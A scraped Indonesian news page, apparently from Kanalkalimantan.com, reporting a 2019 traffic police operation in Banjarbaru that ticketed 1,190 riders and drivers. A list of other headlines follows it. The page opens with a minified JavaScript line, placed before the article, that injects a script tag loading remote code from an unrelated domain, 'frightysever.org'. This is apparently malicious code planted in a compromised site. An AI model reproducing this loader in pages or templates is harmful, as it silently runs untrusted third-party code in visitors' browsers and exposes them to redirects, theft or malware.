(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Operasi Patuh Intan Sudah Jaring 1.190 Pelanggar di Banjarbaru


BANJARBARU, Operasi Patuh Intan 2019 terus menyasar para pengendara yang menyalahi aturan dan tidak memiliki kelengkapan izin. Seperti halnya razia yang dilakukan Satlantas Polres Banjarbaru, di jalan Panglima Batur tepatnya di kantor Samsat Banjarbaru, Kamis (5/9).

Menyasar khususnya para pengendara roda dua, petugas melakukan pengecekan surat menyurat dan kelengkapannya dan bagi yang melanggar akan langsung ditilang.

Kasat Lantas Polres Banjarbaru AKP Gustaf Adolf Mamuaya menyampaikan, dari awal pelaksanaan operasi sampai saat ini, masih banyak pengendara roda 2 ataupun roda 4 yang melanggar peraturan lalu lintas.

Contohnya, selama 4 hari sejak dimulainya operasi patuh intan, Satlantas Polres Banjarbaru telah menilang sebanyak 540 pelanggar.

“Ratusan pengendara yang terjaring itu, masih banyak pengemudi roda 4 yang tidak menggunakan safety belt. Sedangkan untuk roda 2, bentuk pelanggarannya yaitu tidak menggunakan helm, melawan arus, menggunakan HP saat berkendara, dan tidak membawa kelengkapan surat menyurat kendaraan bermotor. Bahkan masih adanya pengemudi yang masih di bawah umur,” katanya.

Bahkan, di hari ke-7, jumlah pelanggar telah meningkat hingga tercatat 1.190 pelanggaran.

Rendy, warga kota Banjarbaru mengaku cukup terkejut saat razia tersebut dilaksanakan secara tiba-tiba pada sore hari. Apalagi kebiasaan dirinya yang kadang lupa memang surat kelengkapan seperti SIM dan STNK.

“Kadang suka lupa. Sore ini kan waktu luang untuk jalan-jalan dan di jalan Panglima Batur ini memang sering kali saya melintasinya. Biasanya, memang jarang bawa SIM. Jadi pelajaran ya bagi saya,” katanya kepada Kanalkalimantan.com.

Operasi Kewilayahan 2019 sudah dilaksanakan serentak sejak tanggal 29 Agustus 2019 lalu oleh kepolisian di seluruh Indonesia. Operasi ini berakhir pada tanggal 11 September 2019 mendatang.

Kasat Lantas Polres Banjarbaru mengimbau kepada para pengendara baik kendaraan roda dua dan roda empat agar selalu mempersiapkan surat menyurat kendaraannya sebelum bepergian.

“Tidak hanya saat ada operasi patuh intan, namun juga setiap saat akan berkendaraan. Selain itu juga harus dilihat kondisi kendaraan apakah layak pakai atau tidak,” pungkas AKP Gustaf . (rico)

Reporter : Rico
Editor : Bie

 


Desy Arfianty

Recent Posts

Wabup Kapuas Kunjungi Kecamatan Kapuas Hulu dan Mandau Talawang

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo bersama jajaran menempuh jalur sungai dan darat… Read More

3 jam ago

Unjuk Rasa di HSU, GOSTI: Berikan Jabatan ke Orang yang Bertanggung Jawab

‎KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mendapatkan dukungan menjalankan pemerintahan bersih… Read More

3 jam ago

Pesan Edukatif Street Art Dakwah South Borneo Lewat Mural dan Grafiti

KANALKALIMANTAN.COM, BANJARMASIN - Street Art Dakwah South Borneo memanfaatkan seni mural dan grafiti sebagai alat… Read More

4 jam ago

Unjuk Rasa di Halaman DPRD HSU

KANALKALIMANTAN.COM, AMUNTAI – Massa yang tergabung dalam Lembaga Swadaya Masyarakat (LSM) Gerakan Organisasi Sosial Terintegritas… Read More

4 jam ago

Wabup Balangan Serahkan Beasiswa Program KBP ke 1.511 Pelajar

KANALKALIMANTAN.COM, PARINGIN - Wakil Bupati (Wabup) Balangan, Akhmad Fauzi, menyerahkan beasiswa program Kartu Balangan Pintar… Read More

5 jam ago

DKISP Banjar Gelar Penandatanganan Pakta Integritas

KANALKALIMANTAN.COM, MARTAPURA – Kepala Dinas Komunikasi, Informatika, Statistik, dan Persandian (DKISP) Kabupaten Banjar HM Aidil… Read More

5 jam ago

This website uses cookies.